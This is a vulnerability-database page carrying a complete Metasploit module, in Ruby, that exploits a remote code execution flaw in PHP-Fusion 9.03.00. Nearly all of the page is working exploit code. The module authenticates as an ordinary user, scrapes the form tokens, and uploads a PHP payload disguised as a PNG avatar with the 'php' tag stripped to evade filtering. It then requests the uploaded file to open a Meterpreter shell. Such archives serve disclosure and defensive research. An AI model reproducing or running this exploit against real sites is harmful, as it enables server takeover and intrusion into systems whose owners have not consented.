Lucene search
K

PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)

🗓️ 14 May 2019 00:00:00Reported by AkkuSType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 108 Views

This module exploits command execution vulnerability in PHP-Fusion 9.03.00 and prior versions. It allows executing commands in the system with ordinary user authority without needing admin privilege. The module opens the Meterpreter session by bypassing the controls

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name' => "PHP-Fusion < 9.03.00 - 'Edit Profile' Remote Code Execution",
      'Description' => %q(
        This module exploits command execution vulnerability in PHP-Fusion 9.03.00 and prior versions.
        It is possible to execute commands in the system with ordinary user authority. No need admin privilage.
        There is almost no control in the avatar upload section in the profile edit area.
        Only a client-based control working with javascript. (Simple pre-check)
        If we do not care about this control, the desired file can be sent to the server via Interception-Proxies. 
        The module opens the meterpreter session for you by bypassing the controls.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module
        ],
      'References' =>
        [
          ['URL', 'http://www.pentest.com.tr/exploits/PHP-Fusion-9-03-00-Edit-Profile-Remote-Code-Execution.html'], # Details
          ['URL', 'https://www.php-fusion.co.uk'],
          ['URL', 'https://github.com/php-fusion/PHP-Fusion/commit/943432028b9e674433bb3f2a128b2477134110e6']
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "May 11 2019",
      'DefaultTarget' => 0))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, "Base PHP-Fusion directory path", '/']),
        OptString.new('USERNAME', [true, "Username to authenticate with", '']),
        OptString.new('PASSWORD', [true, "Password to authenticate with", ''])
      ]
    )
  end

  def exec
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "images","avatars", "#{@shell}") # shell url
    })
  end
##
# Login and cookie information gathering
##
  def login(uname, pass, check)
    # 1st request to get fusion_token 
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "home.php")
    })

    cookie = res.get_cookies
    @fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0]
    # 2nd request to login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'home.php'),
      'cookie'   => cookie,
      'vars_post' => {
        'fusion_token' => @fustoken,
        'form_id' => 'loginform',
        'user_name' => uname,
        'user_pass' => pass,
        'login' => ''
      }
    )

    cookie = res.get_cookies
    location = res.redirection.to_s
    if res && res.code == 302 && location.include?('login.php?error')
      fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}")
    else
      return cookie
    end

    return nil
  end
##
# Upload malicious file // payload integration
##
  def upload_shell(cookie, check)

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "edit_profile.php"),
      'cookie'   => cookie
    })

    ncookie = cookie + " " + res.get_cookies # gathering all cookie information

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "edit_profile.php"),
      'cookie'   => ncookie
    })

    # fetch some necessary post data informations
    fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0]
    userid = res.body.split("profile.php?lookup=")[1].split('"><i class=')[0]
    userhash = res.body.split("userhash' value='")[1].split("' style")[0]
    usermail = res.body.split("user_email' value='")[1].split("' >")[0]

    # data preparation to delete priv avatar
    delete = Rex::MIME::Message.new
    delete.add_part("#{fustoken}", nil, nil, 'form-data; name="fusion_token"')
    delete.add_part('userfieldsform', nil, nil, 'form-data; name="form_id"')
    delete.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="user_name"')
    delete.add_part("#{usermail}", nil, nil, 'form-data; name="user_email"')
    delete.add_part('1', nil, nil, 'form-data; name="delAvatar"')
    delete.add_part("#{userid}", nil, nil, 'form-data; name="user_id"')
    delete.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"')
    delete.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"')
    delete.add_part('Update Profile', nil, nil, 'form-data; name="update_profile"')
    deld = delete.to_s

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => deld,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{delete.bound}",
      'cookie' => ncookie,
      'uri' => normalize_uri(target_uri.path, "edit_profile.php")     
    })
    # priv avatar deleted.
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "edit_profile.php"),
      'cookie'   => cookie
    })

    ncookie = cookie + " " + res.get_cookies # recheck cookies

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "edit_profile.php"),
      'cookie'   => ncookie
    })

    # They changed. fetch again...
    fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0]
    userid = res.body.split("profile.php?lookup=")[1].split('"><i class=')[0]
    userhash = res.body.split("userhash' value='")[1].split("' style")[0]
    usermail = res.body.split("user_email' value='")[1].split("' >")[0]
    # The "php" string must be removed for bypass.We can use "<?"
    pay = payload.encoded.split("/**/")[1]
    fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
    @shell = "#{fname}"
    # data preparation to upload new avatar
    pdata = Rex::MIME::Message.new
    pdata.add_part("#{fustoken}", nil, nil, 'form-data; name="fusion_token"')
    pdata.add_part('userfieldsform', nil, nil, 'form-data; name="form_id"')
    pdata.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="user_name"')
    pdata.add_part("#{usermail}", nil, nil, 'form-data; name="user_email"')
    pdata.add_part('1', nil, nil, 'form-data; name="delAvatar"')
    pdata.add_part("<?" + pay, 'image/png', nil, "form-data; name=\"user_avatar\"; filename=\"#{fname}\"")
    pdata.add_part("#{userid}", nil, nil, 'form-data; name="user_id"')
    pdata.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"')
    pdata.add_part('Update Profile', nil, nil, 'form-data; name="update_profile"')
    data = pdata.to_s

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
      'cookie' => ncookie,
      'uri' => normalize_uri(target_uri.path, "edit_profile.php")     
    })

    location = res.redirection.to_s
    if res && res.code == 302 && location.include?('error')
      fail_with(Failure::NoAccess, 'Error occurred during uploading!')
    else
      print_status("Trying to upload #{fname}")
      return true
    end
   
  end
##
# Exploit controls and information
##
  def exploit
    cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
    print_good("Authentication was successful with user: #{datastore['USERNAME']}")
      
    if upload_shell(cookie, true)
      print_good("Control was bypassed. Harmful file upload successfully!")
      exec
    end
  end
##
# The end of the adventure (o_O) // AkkuS
##
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2019 00:00Current
7.4High risk
Vulners AI Score7.4
108